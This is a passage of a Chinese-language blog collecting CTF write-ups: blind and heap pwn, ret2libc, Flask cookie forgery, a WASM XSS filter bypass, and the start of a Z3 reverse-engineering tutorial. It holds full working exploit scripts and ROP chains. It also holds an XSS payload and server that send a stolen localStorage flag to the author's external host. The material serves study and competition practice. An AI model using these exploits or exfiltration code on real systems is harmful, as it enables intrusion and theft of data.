CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e}
這題算半個blind pwn,只給了libc,剩下啥也沒給
nc上去,可以看到一句話: Are you blind my friend?
經過簡單的測試可以發現,輸入1~88個A時,remote會顯示: No password for you!
,但輸入89個A時,No password for you!
就消失了!
可以推測他buf的相對位置是在rbp-0x50,且有BOF,所以rip被蓋成怪怪的值就會error
由於確定了buf的相對位置,我嘗試partial overwrite來測看看有沒有什麼有趣的結果:
def fuzz(known=b''):
for j in range(0x100):
r = conn()
info(f'try: {j:02x}')
payload = b'A' * 0x58 + known + bytes([j])
r.sendafter(b'Are you blind my friend?\n', payload)
try:
msg = r.recvall(timeout=0.4)
if len(msg) == 0:
raise EOFError
info("wow:")
print(msg)
except EOFError:
pass
finally:
r.close()
fuzz()
的時候,可以發現在try 0x13和0x1f的時候噴了一堆怪怪的東西
[+] Receiving all data: Done (63B)
[DEBUG] Received 0x3f bytes:
00000000 41 41 41 41 41 41 41 41 3e 00 00 00 00 00 00 00 │AAAA│AAAA│>···│····│
00000010 20 f6 4e 45 d3 7f 00 00 d0 1c cc 11 fd 7f 00 00 │ ·NE│····│····│····│
00000020 10 1e cc 11 fd 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 48 97 19 45 d3 7f 0a │····│····│H··E│···│
(裡面7f開頭的東西看起來就很可疑)
繼續try,當try到0xbb的時候,有趣的事情又發生了,可以發現Are you blind my friend?
重新出現了!
(大概是main的開頭)
0x00到0xff全部try完之後,我們大致可以確認,如果這題要有解的話,PIE一定沒開,因為剛剛試出來的功能都沒辦法只靠patrial overwrite get shell,一定要知道完整的address才行
依據上述推理,我們接續在0x13和0xbb後面接著爆破(0x1e可以不用管,因為和0x13一樣),最後可以爆破出完整的address,分別是: 0x400713和0x4007bb
這時我們可以用以下payload測試一下:
b'A' * 0x58 + p64(0x400713) + p64(0x4007bb)
可以發現在leak一堆怪東西之後順利的重新執行了一次main!
不僅如此,在爆破的過程我們還可以發現,在呼叫0x400713時,index 10~15的值根據little endian轉成hex始終是: 0x7f???????620
根據過往的經驗可以知道這個大概是一個在libc裡的位置,於是我們看一下題目給的libc有誰是620結尾:
(雖然這樣講有點事後諸葛,但肯定有人是620結尾,畢竟CTF都是精心設計過的麻XD,能沒有嗎?)
$ readelf -s libc-2.23.so | grep 620
620: 00000000000fcc70 407 FUNC GLOBAL DEFAULT 13 vtimes@@GLIBC_2.2.5
717: 0000000000129620 277 FUNC GLOBAL DEFAULT 13 __nss_configure_lookup@@GLIBC_2.2.5
803: 00000000003c5620 224 OBJECT GLOBAL DEFAULT 33 _IO_2_1_stdout_@@GLIBC_2.2.5
1196: 0000000000036200 151 FUNC GLOBAL DEFAULT 13 sigisemptyset@@GLIBC_2.2.5
1262: 000000000008b620 383 FUNC GLOBAL DEFAULT 13 __strerror_r@@GLIBC_2.2.5
1568: 0000000000106200 36 FUNC GLOBAL DEFAULT 13 lgetxattr@@GLIBC_2.3
1620: 000000000011b340 192 FUNC GLOBAL DEFAULT 13 setnetent@@GLIBC_2.2.5
1701: 000000000008b620 383 FUNC WEAK DEFAULT 13 strerror_r@@GLIBC_2.2.5
2132: 0000000000071620 163 FUNC GLOBAL DEFAULT 13 wscanf@@GLIBC_2.2.5
根據過往的經驗,stack上很常會殘留_IO_2_1_stdout_
的address,所以大概就是他了(或是工人智慧一下,畢竟620結尾的也就5個)
接著我們可以根據offset來算出libc base,也就能知道one_gadget的address了
故我們get shell的步驟如下:
Send payload: padding + leaker + main
Leak libc, one_gadget
Send payload again: padding + one_gadget
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
libc = ELF("./libc-2.23.so")
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
return remote("34.159.129.6", 30550)
def fuzz(known=b''):
for j in range(0x100):
r = conn()
info(f'try: {j:02x}')
payload = b'A' * 0x58 + known + bytes([j])
r.sendafter(b'Are you blind my friend?\n', payload)
try:
msg = r.recvall(timeout=0.4)
if len(msg) == 0:
raise EOFError
info("wow:")
print(msg)
except EOFError:
pass
finally:
r.close()
def main():
r = conn()
# fuzz()
# input buf: rbp - 0x50
# fuzz(b'\x13\x07\x40')
leaker_addr = 0x400713
# fuzz(b'\xbb\x07\x40')
main_addr = 0x4007bb
payload = b'A' * 0x58
payload += p64(leaker_addr)
payload += p64(main_addr)
r.sendlineafter(b'Are you blind my friend?\n', payload)
dumped = r.recvline()
_IO_2_1_stdout_addr = int.from_bytes(dumped[0x10:0x16], byteorder='little')
info(f'_IO_2_1_stdout addr: 0x{_IO_2_1_stdout_addr:x}')
libc.address = _IO_2_1_stdout_addr - libc.symbols['_IO_2_1_stdout_']
success(f'libc base: 0x{libc.address:x}')
one_gadget_addr = 0xf1247 + libc.address
success(f'one gadget addr: 0x{one_gadget_addr:x}')
payload = b'A' * 0x58
payload += p64(one_gadget_addr)
r.sendlineafter(b'Are you blind my friend?\n', payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ ls
blind blind.c flag.txt
$ cat f*
CTF{313f12378d33889716128e329457030182023d103ab648b072fa1e839713dab5}
連上去發現是一個403的頁面,cookie的名稱是session,Response的Server Header是: Werkzeug/2.0.3 Python/3.6.9
大概是Flask的Server
這題很水,用flask-unsign
就能解掉了,而且session的secret key很弱,用flask-unsign
預設的字典就能搞定了:
$ flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgYttg.gqih-5KHXnLKa-YAH413Rr3_l2c'
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----;r
[+] Found secret key after 15616 attempts4482/XCSUuiz
'password'
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'password'
eyJsb2dnZWRfaW4iOnRydWV9.YgYuzg.WozT_TlQXfms5f-wFIlTIaU1LTI
flag: CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}
這題過濾了很多command,而且規定要在4個字以內把在同目錄底下的flag.php
的flag print出來
hitcon之前也有類似的題目,但不同的是這次目錄沒有寫入的權限,無法用>a
的方法創造檔案
這題我在比賽時沒解出來,但最後的方法有點特別,單純紀錄一下,以防忘記:
最後的答案是: m4 *
沒想到還有m4
這個神奇的指令能把flag印出來…
這次blind pwn的部分很好玩,heap的那題也還不錯,pwn的部分收獲挺多的
但很慘的是這次web只解了一題水到不行的題目,希望下次web能解多一點…
]]>這次跟LC0Y一起參加DiceCTF,這次我解了2題web和2題pwn,雖然我解的都不是很難的題目,但學到了不少,所以還是例行公事紀錄一下解題過程
C的Pseudocode:
int main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
const char **v5; // [rsp+10h] [rbp-10h]
int v6; // [rsp+1Ch] [rbp-4h]
v6 = argc;
v5 = argv;
env_setup(argc, argv, envp);
printf(
"Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and com"
"petition against perfect blue.\n");
printf("So tell us. Why should you join DiceGang?\n");
read(0, buf, 0x46uLL);
puts("Hello: ");
puts(buf);
return 0;
}
可以看到題目會read 0x46個bytes到長度為10的buf裡,所以bof之後直接蓋rip來rop就可以了
基礎到不行的ret2libc,用puts got leak libc之後call system就結束了
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./interview-opportunity_patched")
libc = ELF("./libc.so.6")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b *main+101")
else:
r = remote("mc.ax", 31081)
return r
def main():
r = conn()
rdi = lambda x: p64(0x401313) + p64(x)
ret = lambda: p64(0x40101a)
payload1 = b'A' * 26 + p64(exe.bss() + 100) + rdi(exe.got['puts']) + p64(exe.plt['puts']) + p64(exe.symbols['main'])
assert len(payload1) <= 0x46
r.sendafter(b'So tell us. Why should you join DiceGang?\n', payload1)
puts_addr = int.from_bytes(r.recvuntil(b'\nThank you', drop=True)[-6:], byteorder='little')
info(f'puts addr: 0x{puts_addr:x}')
libc.address = puts_addr - libc.symbols['puts']
assert libc.address % 0x1000 == 0
success(f'libc base: 0x{libc.address:x}')
success(f'system addr: 0x{libc.symbols["system"]:x}')
bin_sh_addr = next(libc.search(b"/bin/sh\0"))
success(f'/bin/sh addr: 0x{bin_sh_addr:x}')
payload = b'A' * 34 + rdi(bin_sh_addr) + ret() + p64(libc.symbols["system"])
r.sendafter(b'So tell us. Why should you join DiceGang?\n', payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
從沒在比賽當下解過heap,這次算是邊打邊學
在解這題之前,有幾個事情要注意:
__free_hook
和__malloc_hook
都沒了,沒辦法利用他們execve
用不了,所以要讀flag需要借助open
, read
, write
題目有給C的source code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "seccomp-bpf.h"
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
// method 1, use macro
printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);
// method 2, use gnu_get_libc_version
puts(gnu_get_libc_version());
// method 3, use confstr function
char version[30] = {0};
confstr(_CS_GNU_LIBC_VERSION, version, 30);
puts(version);
return 0;
}
#define NUM_STRINGS 10
typedef struct {
size_t length;
char * string;
} safe_string;
safe_string * data_storage[NUM_STRINGS];
void read_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
for(size_t j = 0; j < ptr->length; ++j) {
fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
}
fprintf(stdout, "\n");
fflush(stdout);
}
void free_safe_string(int i) {
safe_string * ptr = data_storage[i];
free(ptr->string);
free(ptr);
}
void write_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "enter your string: ");
fflush(stdout);
read(STDIN_FILENO, ptr->string, ptr->length);
}
void create_safe_string(int i) {
safe_string * ptr = malloc(sizeof(safe_string));
fprintf(stdout, "How long is your safe_string: ");
fflush(stdout);
scanf("%zu", &ptr->length);
ptr->string = malloc(ptr->length);
data_storage[i] = ptr;
write_safe_string(i);
}
// flag.txt
int main() {
get_libc();
activate_seccomp();
int idx;
int c;
while(1){
fprintf(stdout, "enter your command: ");
fflush(stdout);
while((c = getchar()) == '\n' || c == '\r');
if(c == EOF) { return 0; }
fprintf(stdout, "enter your index: ");
fflush(stdout);
scanf("%u", &idx);
if((idx < 0) || (idx >= NUM_STRINGS)) {
fprintf(stdout, "index out of range: %d\n", idx);
fflush(stdout);
continue;
}
switch(c) {
case 'C':
create_safe_string(idx);
break;
case 'F':
free_safe_string(idx);
break;
case 'R':
read_safe_string(idx);
break;
case 'W':
write_safe_string(idx);
break;
case 'E':
return 0;
}
}
}
很明顯可以看到free_safe_string
把ptr->string
和ptr
free完都沒有設成NULL
,有UAF
接下來的目標就是透過UAF來任意讀寫,最後ROP來get flag
這裡方法很多,官方解是:https://hackmd.io/fmdfFQ2iS6yoVpbR3KCiqQ#pwnbaby-rop,差別在於任意讀寫其實在tcache上就能做到了,而我借助了fastbin和unsorted bin,以下主要介紹我比賽時使用的方法(但有點多此一舉一點)和我學到的東西:
首先透過create_safe_string
來malloc 7個0x10+0x10(0x20)和0x100+0x10(0x110)大小的chunk,再全部free掉,塞滿tcache
create_safe_string
一次會malloc 0x10+0x10(0x20)大小的chunk來存struct,再malloc 指定大小的chunk來存struct的string
再call create_safe_string
兩次,一次string的長度用0x100,一次0x200(這個長度不重要),再free掉一個safe_string
這時,由於0x20和0x110大小的tcache都滿了,0x20大小的chunk會進到fastbin,而0x110大小的chunk會進到unsorted bin
接下來,因為fastbin是single-linked list,在glibc 2.32之後受到Safe-Linking的保護,fd會是(pos»12)^ptr的值,
且因為沒有bk,某些user data還是會繼續躺在free chunk裡,也就是說,0x20大小的chunk在free完之後只有struct的length被fd蓋掉,string pointer還在!
如下結果可以看到,struct的length從0x100變成(0x1d49f10»12)^0=0x1d49,但string的pointer還是能用且指向另一塊chunk(unsorted bin):
pwndbg> fastbins
fastbins
0x20: 0x1d49f00 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg> x/4gx 0x1d49f00
0x1d49f00: 0x0000000000000000 0x0000000000000021
0x1d49f10: 0x0000000000001d49 0x0000000001d49f30
pwndbg> x/4gx 0x0000000001d49f30
0x1d49f30: 0x00007f9668c2acc0 0x00007f9668c2acc0
0x1d49f40: 0x4141414141414141 0x4141414141414141
接下來只需要利用read_safe_string
來讀取unsorted bin的fd(main_arena+96),就能leak出libc了
又因為fd的值很大,所以還可以讀寫到另一塊chunk中的string pointer!
如下結果可以看到,0x1d4a060就是另一塊0x20的chunk中的string pointer,只需用write_safe_string
來替換掉他,就能達到任意讀寫的效果!
pwndbg> x/40gx 0x0000000001d49f30
0x1d49f30: 0x00007f9668c2acc0 0x00007f9668c2acc0
0x1d49f40: 0x4141414141414141 0x4141414141414141
0x1d49f50: 0x4141414141414141 0x4141414141414141
0x1d49f60: 0x4141414141414141 0x4141414141414141
0x1d49f70: 0x4141414141414141 0x4141414141414141
0x1d49f80: 0x4141414141414141 0x4141414141414141
0x1d49f90: 0x4141414141414141 0x4141414141414141
0x1d49fa0: 0x4141414141414141 0x4141414141414141
0x1d49fb0: 0x4141414141414141 0x4141414141414141
0x1d49fc0: 0x4141414141414141 0x4141414141414141
0x1d49fd0: 0x4141414141414141 0x4141414141414141
0x1d49fe0: 0x4141414141414141 0x4141414141414141
0x1d49ff0: 0x4141414141414141 0x4141414141414141
0x1d4a000: 0x4141414141414141 0x4141414141414141
0x1d4a010: 0x4141414141414141 0x4141414141414141
0x1d4a020: 0x4141414141414141 0x4141414141414141
0x1d4a030: 0x0000000000000110 0x0000000000000020
0x1d4a040: 0x0000000000000200 0x0000000001d4a060
0x1d4a050: 0x0000000000000000 0x0000000000000211
0x1d4a060: 0x4242424242424242 0x0000000000000000
接下來再用libc的environ來leak stack base,也就能leak出main的saved rip位置了
最後只需要把rip蓋成orw的ROP chain,就能順利拿flag
summary:
data_storage[0:7]
)data_storage[7]
, data_storage[8]
)data_storage[0:7]
data_storage[7]
data_storage[8]->string
to libc.symbols['environ']
data_storage[8]->string
-> leak stack basedata_storage[8]->string
to .bss + 0x100data_storage[8]->string
data_storage[8]->string
to stack base - 320data_storage[8]->string
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
import types
from typing import Union
exe = ELF("./babyrop_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], '''
b *main+361
# b *free_safe_string+50
b *main+367
''')
else:
r = remote("mc.ax", 31245)
return r
def read(self: Union[process, remote], idx):
self.sendlineafter(b'enter your command: ', b'R')
self.sendlineafter(b"enter your index: ", str(idx).encode())
self.recvuntil(b" hex-encoded bytes\n")
return [int(x, 16) for x in self.recvuntil(b"\n").strip().split()]
def write(self: Union[process, remote], idx, content: bytes):
self.sendlineafter(b'enter your command: ', b'W')
self.sendlineafter(b"enter your index: ", str(idx).encode())
self.sendafter(b"enter your string: ", content)
def malloc(self: Union[process, remote], idx, size_t, content: bytes):
assert len(content) <= size_t
info(f'malloc: {idx}')
self.sendlineafter(b'enter your command: ', b'C')
self.sendlineafter(b"enter your index: ", str(idx).encode())
self.sendlineafter(b"How long is your safe_string: ", str(size_t).encode())
self.sendafter(b"enter your string: ", content)
def free(self: Union[process, remote], idx):
info(f'free: {idx}')
self.sendlineafter(b'enter your command: ', b'F')
self.sendlineafter(b"enter your index: ", str(idx).encode())
def main():
r = conn()
r.malloc = types.MethodType(malloc, r)
r.free = types.MethodType(free, r)
r.write = types.MethodType(write, r)
r.read = types.MethodType(read, r)
info("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.")
for i in range(7):
r.malloc(i, 0x100, bytes([0x41 + i]) * 4)
info("Allocating the chunk for unsorted bin (A)")
r.malloc(7, 0x100, b"A" * 0x100)
info("Allocating a chunk for arbitrary read/write (B)")
r.malloc(8, 0x200, b"BBBBBBBB")
info("Fill up tcache list")
for i in range(7):
r.free(i)
info("Free chunk A so it will be added to unsorted bin")
r.free(7)
info("UAF")
leaked = bytes(r.read(7))
string_addr = int.from_bytes(leaked[280:284], byteorder='little') # chunk B
success(f'data_storage[8]->string: 0x{string_addr:x}')
unsorted_bin_fd = int.from_bytes(leaked[:6], byteorder='little')
success(f'unsorted bin fd: 0x{unsorted_bin_fd:x}')
'''
pwndbg> disass malloc_trim
...
0x000000000009c080 <+32>: lea rax,[rip+0x158bd9] # 0x1f4c60
'''
main_arena_offset = 0x1f4c60
libc.address = unsorted_bin_fd - main_arena_offset - 96 # fd -> main_arena+96
success(f'libc base: 0x{libc.address:x}')
success(f'libc environ: 0x{libc.symbols["environ"]:x}')
success(f'open addr: 0x{libc.symbols["open"]:x}')
success(f'read addr: 0x{libc.symbols["read"]:x}')
success(f'puts addr: 0x{libc.symbols["puts"]:x}')
success(f'exit addr: 0x{libc.symbols["exit"]:x}')
info("leak stack base")
r.write(7, leaked[:280] + p64(libc.symbols["environ"]))
stack_base = int.from_bytes(bytes(r.read(8))[:6], byteorder='little')
success(f'stack base: 0x{stack_base:x}')
saved_rip_addr = stack_base - 320 # know this by gdb
success(f'saved rip addr: 0x{saved_rip_addr:x}')
r.write(7, leaked[:280] + p64(saved_rip_addr))
saved_rip = int.from_bytes(r.read(8)[:8], byteorder='little')
assert saved_rip == libc.address + 0x02d1ca # know this by gdb
success(f'saved rip: 0x{saved_rip}')
info("Write `flag.txt` to .bss + 0x100")
flag_str_addr = exe.bss(0x100)
r.write(7, leaked[:280] + p64(flag_str_addr))
r.write(8, b'./flag.txt\0\0')
info(f"flag.txt str addr: 0x{flag_str_addr:x}")
info("Write ROP chain to main's saved rip")
r.write(7, leaked[:280] + p64(saved_rip_addr))
rdi = lambda x: p64(0x2d7dd + libc.address) + p64(x)
rsi = lambda x: p64(0x2eef9 + libc.address) + p64(x)
rdx = lambda x: p64(0xd9c2d + libc.address) + p64(x)
flag_addr = exe.bss(0x200)
payload = rdi(flag_str_addr) + rsi(0) + rdx(0) + p64(libc.symbols["open"])
payload += rdi(3) + rsi(flag_addr) + rdx(0x100) + p64(libc.symbols["read"])
payload += rdi(flag_addr) + p64(libc.symbols["puts"])
payload += rdi(0) + p64(libc.symbols["exit"])
r.write(8, payload)
info("return main to ROP")
r.sendlineafter(b'enter your command: ', b'E')
r.sendlineafter(b"enter your index: ", b'0')
flag = r.recvuntil(b'}').decode()
success(f"flag: {flag}") # [+] flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
# r.interactive()
if __name__ == "__main__":
main()
flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
小插曲是我的exploit一開始在local能動,但remote會炸掉,所以多花了很多時間debug
後來加了一段exit(0)
到ROP chain上,remote就順利吐flag了
但我不太清楚原因,如果知道的人還請告訴我!
來亂的題目…
題目source code的核心在於:
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' };
if (id >= this.notes.length) return { error: 'note not found' };
return { data: this.notes[id] };
}
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
}
一開始看了很久看不出洞在哪,但在local跑起來後就發現問題點了
從題目給的source code可以看到:
this.secret = `secret-${crypto.randomUUID}`;
crypto.randomUUID
沒有執行,竟然是直接把function的string當secret…
所以secret不變,token的值自然就算的出來了
curl 'https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'
flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
題目頁面的js:
let blazingfast = null;
function mock(str) {
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
return mocking;
}
}
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
let query = new URLSearchParams(window.location.search).get('demo');
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
題目給的blazingfast.wasm
的c source code:
int length, ptr = 0;
char buf[1000];
void init(int size) {
length = size;
ptr = 0;
}
char read() {
return buf[ptr++];
}
void write(char c) {
buf[ptr++] = c;
}
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}
if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
ptr = 0;
return 0;
}
從上面的code可以知道,我們輸入的query會透過wasm過濾掉<>&"
,然後偶數index的位置會轉成大寫
一開始我的想法是:如果在query輸入padding<xsspayload>
,雖然一開始會被偵測到,但如果再次輸入小於padding長度的字元,並再觸發onclick來再次執行mock
的話,由於buf中的資料不會被清0,且mock
對buf的檢查在padding前就結束了,所以padding後的字元就能繞過檢測!
又因為讀取資料的方式是while(buf != 0)
,所以xss payload還是會跟著出來,也就能順利xss了!
但很可惜,這是個self xss
於是我就在想,還有什麼辦法可以讓字串的長度發生變化呢?
之前不知道在哪裡看過,某些unicode的字元在經過大小寫轉換時,會normalize成ASCII,甚至變長
稍微fuzz了一下,確有其事,以下是我fuzz的結果:
fuzz toUpperCase:
let result = "";
for(let i = 0x00; i <= 0x10FFFF; ++i){
if(i <= "z".codePointAt() && i >= "a".codePointAt()) continue;
if(i <= "Z".codePointAt() && i >= "A".codePointAt()) continue;
let f = String.fromCodePoint(i);
if(f.toUpperCase().codePointAt() <= "Z".codePointAt() && f.toUpperCase().codePointAt() >= "A".codePointAt()){
result += `| ${i} | ${f} | ${f.toUpperCase()} | ${f.toUpperCase().length} |\n`;
}
}
console.log(result);
result:
code | orig | toUpper | new length |
---|---|---|---|
223 | ß | SS | 2 |
305 | ı | I | 1 |
383 | ſ | S | 1 |
496 | ǰ | J̌ | 2 |
7830 | ẖ | H̱ | 2 |
7831 | ẗ | T̈ | 2 |
7832 | ẘ | W̊ | 2 |
7833 | ẙ | Y̊ | 2 |
7834 | ẚ | Aʾ | 2 |
64256 | ff | FF | 2 |
64257 | fi | FI | 2 |
64258 | fl | FL | 2 |
64259 | ffi | FFI | 3 |
64260 | ffl | FFL | 3 |
64261 | ſt | ST | 2 |
64262 | st | ST | 2 |
Note: toLower的部分我也fuzz了一下,結果如下:
code orig toLower new length 304 İ i̇ 2 8490 K k 1
所以,假如一開始執行blazingfast.init(str.length);
時,str.length
比較短,但str.toUpperCase().length
變長,就會導致讀超過str.length
的字元進buf,所以在最後for (int i = 0; i < length; i ++)
檢查是否有被ban掉的字的時候,就能繞過檢測!
e.g. "fflfflffl hihi".length
= 8, but "fflfflffl hihi".toUpperCase().length
= 14 => index 8之後的字元都不會被檢查到!
於是剩下就簡單了,只需要利用會變長的字元做padding,即可bypass掉檢查
但需要注意的是,讀進buf中的字元全部都是大寫,所以要xss的payload不一定能直接放進去,例如<svg/onload=alert(1337)>
就會因為alert
變成ALERT
導致執行失敗
比賽當下我的直覺是利用tag和uri的netloc對大小寫不敏感的特性,用script tag直接引入我的script來xss,不過賽後才發現只需要要onload的payload做HTMLencode就行了
以下是我比賽時產生payload的script:
exploit.html:
<body></body>
<script>
const base = 'https://blazingfast.mc.ax/?demo=';
const host = 'https://c3f8-111-248-84-17.ngrok.io';
let xss = `<iframe/srcdoc="<\x53cript src=${host}></\x53cript>">`;
let payload = "ffl".repeat(Math.ceil(xss.length / 2)) + xss
let url = base + encodeURIComponent(payload)
console.log(url); // 把結果丟給admin bot
window.open(url);
</script>
app.py (放彈flag和收flag的script):
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def home():
return '''
top.location = `https://c3f8-111-248-84-17.ngrok.io/f?${encodeURIComponent(top.localStorage.flag)}`
'''.strip()
@app.route("/f")
def f():
print(request.args) # ImmutableMultiDict([('dice{1_dont_know_how_to_write_wasm_pwn_s0rry}', '')])
return 'hi'
if __name__ == '__main__':
app.run("127.0.0.1", port=1337)
flag: dice{1_dont_know_how_to_write_wasm_pwn_s0rry}
DiceCTF我其實去年也有參加,題目還是一如既往的優質(依然被題目電爆)!
這次從解題過程和別人的writeups裡學到了很多js的神奇知識,也學到不少heap的知識,受益良多!
]]>這次有人找我一起參加KnightCTF,我主要負責Web的題目,但也幫忙解了一題pwn和兩題reverse。
這場CTF應該是我參加過最差勁的一場CTF,題目各種需要通靈,Web只有兩題有給source code,剩下全部都只能猜,很沒意思,不僅如此,這場主辦方的server也是超級不穩定,連交個flag也要卡個幾分鐘…,總之你不期望在CTF中看到的東西,這場都出現了…
雖然這場真的蠻爛的,但還是讓我學到了一些關於Z3 Theorem Prover的知識,
由於maple3142常常會跟我分享他又用Z3把什麼題目的flag給炸出來,導致我也一直想要實際用Z3來解題,
而剛好這場CTF的reverse水到不行,所以我也藉這個機會學習了一下Z3。
以下紀錄我用Z3解掉的其中一題,希望可以幫助到跟我一樣只看過Z3基本介紹、但從沒實際用過Z3的人。
Note: 由於我對於Z3還沒有非常熟悉,如果有地方寫的很髒,還請見諒。
題目給了一個ELF,丟進ida再整理一下過後的Pseudocode為:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char flag[512]; // [rsp+0h] [rbp-240h] BYREF
char v5[51]; // [rsp+200h] [rbp-40h] BYREF
char is_flag; // [rsp+233h] [rbp-Dh]
int v7; // [rsp+234h] [rbp-Ch]
int j; // [rsp+238h] [rbp-8h]
int i; // [rsp+23Ch] [rbp-4h]
strcpy(v5, "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]");
printf("Give me a flag : ");
__isoc99_scanf("%s", flag);
for ( i = 0; flag[i]; ++i )
{
if ( flag[i] <= 64 || flag[i] > 90 )
{
if ( flag[i] <= 96 || flag[i] > 122 )
flag[i] = flag[i];
else
flag[i] = -37 - flag[i];
}
else
{
flag[i] = -101 - flag[i];
}
}
for ( j = 0; flag[j]; ++j )
flag[j] -= 32;
v7 = 0;
is_flag = 0;
while ( v5[v7] )
{
if ( v5[v7] != flag[v7] )
{
is_flag = 0;
break;
}
is_flag = 1;
++v7;
}
if ( is_flag )
puts("You have entered the right flag.");
else
puts("Sorry ! Its wrong flag.");
return 0;
}
首先可以看到,這題會讀取一串使用者的輸入,再用for迴圈遍歷,再根據某些規則(魔法)對每一個char的ASCII做加減法,
接下來再將每個char的ASCII - 32,再與v5
做比對,如果array中每個char一樣,就找到flag了。
這題其實可以不用Z3,因為蠻好推回去的,但秉持學習(懶惰)的精神,所以選擇用Z3來解
首先,我用的是Python的Z3,所以第一步當然就是把Z3給import進來:
from z3 import *
而這題的目標是:’flag經過一連串的”魔法”之後,會與v5相同’,所以我們先將v5
這個char arrary給建起來:
target = b"08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"
接下來,我們需要創建一個儲存flag的陣列,而陣列中的每個char我使用8 bit的BitVec
來儲存:
flag = [BitVec(f"f_{i}", 8) for i in range(len(target))]
Note: BitVec(‘變數名稱’, 大小)
值得注意的是BitVec跟C的變數一樣,會Underflow/Overflow,且效果是一樣的,所以不需要而外處理
還有其實也可以用Z3的Array
,但可能是我對Z3還不夠熟,所以我自己覺得這個操作起來不太方便就是了:
flag = Array("flag", BitVecSort(32), BitVecSort(8))
